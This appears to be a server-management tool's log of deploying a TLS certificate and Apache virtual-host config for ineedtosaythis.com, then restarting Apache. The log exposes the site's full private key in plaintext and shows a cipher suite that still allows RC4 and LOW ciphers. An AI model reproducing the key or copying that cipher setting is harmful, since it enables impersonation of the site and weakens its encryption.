ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCw+1+bOVIwTxb/1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97
wISb4mM1dYTBYPeBzN2mtRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+
mqaj9DAk2lzosADxTQ/GqzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8uj
R42IyWJOGxVrpnRGemmK7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U
7ACmkxhDrM+YJDak7jrYEreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZG
vqNEoW1V9hMyAIFStq4LjJW0j1QfAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFnBJhMqaM97Ndy+xCQawj5+4EpfMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTAuY3Js
MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZhJ0eOwAABAMASDBGAiEA3ZFQNuEP/XnBLGqaWnJeUTFy
KFn/RcEZHFGbHhTOKncCIQCrImjqJ0bILL3NRLW0Oi4ZX6cgoTgIG7T4AOXHrchw
rwB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmYSdHp0AAAQD
AEcwRQIgRPKnfQuOZZDS4SRW63GzCJaaGsOHQj356AozfvnmpC0CIQD63CuRPzX1
t3E8t/wK7u9IsITWjrL+UdLAZ+Rtm9OmODANBgkqhkiG9w0BAQsFAAOCAQEAtTVs
G/hS/07RDbevyorhMCxPk3sNogKDwZj+Y9xWN7pbHPiW776tHdbq1p/wCFH5q7GJ
KzNWIzg3bnC9SYjVZ4Vpxm+dy3/B0yTpoDsWN1HjLfcUrh4ItQSELNNwEUTnQRJx
CnJo6c4Cv4UFViZFfHskeW9TIpxaLTa5RWx+ZcxJBzDql0PExid+3mct74iguoQY
88D0cNGNXG9wKWhBIk8GG4eQqF3DWAbPeEAppLrKT78kwbwm/qtI61P1Tr41kqTT
vhhOvheExpdPTWC5O7S5KQrbNjwv2XQlg/dCUPG2MSUfF2oDcST+G0QOWXXxPrNJ
OmkP0Q+p3ppqvRjquw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCw+1+bOVIwTxb/
1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97wISb4mM1dYTBYPeBzN2m
tRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+mqaj9DAk2lzosADxTQ/G
qzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8ujR42IyWJOGxVrpnRGemmK
7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U7ACmkxhDrM+YJDak7jrY
EreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZGvqNEoW1V9hMyAIFStq4L
jJW0j1QfAgMBAAECggEABF3faQQMDBcXeS58U747BijRUdyF8ReYMeNadOQg9/nQ
v85tMTtw4j4z0ljYrMP0MLB6mw7abIByg5d6LpJMsEGBrJ86fwvadMAvzWQZTGaL
9Lwv9rRjntI5E4xbSjZPLcmZe0BEda+yEPPOctuPl//l5DfDYAH8YcsVHZEnjDUy
bBziA/mbKUcz74XjS1yAj3fUOQeduSPCAgRaUmXzdq9fkIJR6BJTe1rWKGX+XHpZ
M2HS43mK2DwBLhnfcHm/dsNC4fUEx2e1YlNF97MStqJYnb+8g31zDpfz2FMeiuG0
OHtr7lIIGUjT8aKfZvFD66q95QtlsxK60bFclPHaAQKBgQDidZ7YrpUtvAEkb7x0
vomEvq9gp4hMAH50Dt5w0NHdLHb9qhboChXPdpMsHuVLCuSajeTB3CmSql2e+SJV
9m49teZpHDH8cyAfWDs4IcIiHIaBsGVAaAOtFO2uAezqiwPXd0NhYCagMXD5Zcgn
BaAi9EXY2gS+R7ElNbz5PqlHHwKBgQDIEYCHLnMWT0RQVAbFojotrH1UDmT26reK
0GIS805ZN28hJ0SAYEwkWn8iMA1ZWIZuEU6MhfYkF6uvIEqcOdnSFQWgE8nl5wB8
YnLrZ0JdDcP49YrZdGBYUPgTRzT1rsq7X7Bj+R1m66SJTXqswp6uIfCTCRhMtIMY
/vHsNElTAQKBgQDMt8GyZhiLsJJjyvLVos2UiADo4mpvMl8eMbbay5t8Us76v4FX
oI5Y7vtafk+QCDfik/VBXvLiGErsBJIKnezIsqCpUojJi5V1YICgXLwvtBPQN5NA
pwbzt6CplioDWUpOxQzPgWlJlYhonJ9Uz1wVXTerMmPpU8wLNEoyE3hZxwKBgQCI
D68TQDmwoHPbFWoNmkhqq3YIZkmvyuzMEO/B54oPDq4bI/NoQxVFW+4+N+O8MYIq
9MYwtyIwZZCy5wkWuhky0G0k8pBKNBGWhfWVtoHheu0eMQ8e2BB1v4sWwUR5GUhy
qZ7yPocKaZNadUDKoQj9b8OGm5bVA6Zsp2Wrt9tuAQKBgFByBcdBVSPFn+9IKy4s
+FBA9jqeNT1Kz6zjKJyXKEFrCLkUWuGhkp6ys0qhedpmMXwUuXmBZ+xSOwEWkw2i
Gmtd9Q4L5f6MTPCjS4jhSMMjGHqGMf+HqNa+voIMjoU16FAaO8PZnreU/gC7ZJgq
myrN3BReDhKfGkyxpY+FfHmP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:01:54: 

chmod 755 /tmp/pkp474415; /tmp/pkp474415; rm /tmp/pkp474415

2025-09-26 06:01:54: 


dir=/etc/ssl/certs


2025-09-26 06:01:54: 

PUT: /tmp/pkp126766

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:01:54: 

chmod 755 /tmp/pkp126766; /tmp/pkp126766; rm /tmp/pkp126766

2025-09-26 06:01:54: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf 46

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-26 06:01:54: 

PUT: /tmp/pkp793642

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=ineedtosaythis_www_com.conf
TARGET=/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/ineedtosaythis_www_com.conf= 1'
fi


2025-09-26 06:01:54: 

chmod 755 /tmp/pkp793642; /tmp/pkp793642; rm /tmp/pkp793642

2025-09-26 06:01:54: 




2025-09-26 06:01:54: 

PUT: /tmp/pkp530411

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:01:54: 

chmod 755 /tmp/pkp530411; /tmp/pkp530411; rm /tmp/pkp530411

2025-09-26 06:01:54: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:01:54: Establishing a connection
2025-09-26 06:01:54: 

PUT: /tmp/pkp668912

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:01:54: 

chmod 755 /tmp/pkp668912; /tmp/pkp668912; rm /tmp/pkp668912

2025-09-26 06:01:55: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:01:55: 

PUT: /tmp/pkp487772

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:55: 

chmod 755 /tmp/pkp487772; /tmp/pkp487772; rm /tmp/pkp487772

2025-09-26 06:01:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf	1310

<VirtualHost *:80>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	ineedtosaythis.com
    ServerAlias	www.ineedtosaythis.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt
    DocumentRoot	/var/www/ineedtosaythis_www
    <Directory /var/www/ineedtosaythis_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/ineedtosaythis/www_secure_access.log combined
    ErrorLog	/var/log/apache2/ineedtosaythis/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-26 06:01:55: 

PUT: /tmp/pkp171930

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-26 06:01:55: 

chmod 755 /tmp/pkp171930; /tmp/pkp171930; rm /tmp/pkp171930

2025-09-26 06:01:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/30544cb98a5f34c59eb0febd8752cfa0.crt	5390
eb:bf:4b:6e:08:fc:10:43:86:98:6a:7d:9c:5a:31:56

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBVgSF91c9kxCHRK1nHSIbmCJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMzIzWhcNMjUxMjI1MDUwMzIyWjAdMRswGQYDVQQD
ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCw+1+bOVIwTxb/1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97
wISb4mM1dYTBYPeBzN2mtRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+
mqaj9DAk2lzosADxTQ/GqzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8uj
R42IyWJOGxVrpnRGemmK7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U
7ACmkxhDrM+YJDak7jrYEreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZG
vqNEoW1V9hMyAIFStq4LjJW0j1QfAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFnBJhMqaM97Ndy+xCQawj5+4EpfMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTAuY3Js
MIIBBQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZhJ0eOwAABAMASDBGAiEA3ZFQNuEP/XnBLGqaWnJeUTFy
KFn/RcEZHFGbHhTOKncCIQCrImjqJ0bILL3NRLW0Oi4ZX6cgoTgIG7T4AOXHrchw
rwB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmYSdHp0AAAQD
AEcwRQIgRPKnfQuOZZDS4SRW63GzCJaaGsOHQj356AozfvnmpC0CIQD63CuRPzX1
t3E8t/wK7u9IsITWjrL+UdLAZ+Rtm9OmODANBgkqhkiG9w0BAQsFAAOCAQEAtTVs
G/hS/07RDbevyorhMCxPk3sNogKDwZj+Y9xWN7pbHPiW776tHdbq1p/wCFH5q7GJ
KzNWIzg3bnC9SYjVZ4Vpxm+dy3/B0yTpoDsWN1HjLfcUrh4ItQSELNNwEUTnQRJx
CnJo6c4Cv4UFViZFfHskeW9TIpxaLTa5RWx+ZcxJBzDql0PExid+3mct74iguoQY
88D0cNGNXG9wKWhBIk8GG4eQqF3DWAbPeEAppLrKT78kwbwm/qtI61P1Tr41kqTT
vhhOvheExpdPTWC5O7S5KQrbNjwv2XQlg/dCUPG2MSUfF2oDcST+G0QOWXXxPrNJ
OmkP0Q+p3ppqvRjquw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCw+1+bOVIwTxb/
1c9GOR2qzMfnmBzAwfweU1RsEMJuUDlATgztk7qbUs97wISb4mM1dYTBYPeBzN2m
tRRuQ/Wjkr/mz+Pc6KYDRKOiQppH2g9mxV/sbKhTQBo+mqaj9DAk2lzosADxTQ/G
qzSCI4jgGP86DEjKOqOqbG7s4uM+V+QL11wzGOkmt8ujR42IyWJOGxVrpnRGemmK
7Pn9eugfo1mI/MyxWIp8Gu+r54WXTOcEDYLVcpCRaK2U7ACmkxhDrM+YJDak7jrY
EreO4btwHlkZkNXR75Xy9dCHL/H1ItCc84UH4ml6o2ZGvqNEoW1V9hMyAIFStq4L
jJW0j1QfAgMBAAECggEABF3faQQMDBcXeS58U747BijRUdyF8ReYMeNadOQg9/nQ
v85tMTtw4j4z0ljYrMP0MLB6mw7abIByg5d6LpJMsEGBrJ86fwvadMAvzWQZTGaL
9Lwv9rRjntI5E4xbSjZPLcmZe0BEda+yEPPOctuPl//l5DfDYAH8YcsVHZEnjDUy
bBziA/mbKUcz74XjS1yAj3fUOQeduSPCAgRaUmXzdq9fkIJR6BJTe1rWKGX+XHpZ
M2HS43mK2DwBLhnfcHm/dsNC4fUEx2e1YlNF97MStqJYnb+8g31zDpfz2FMeiuG0
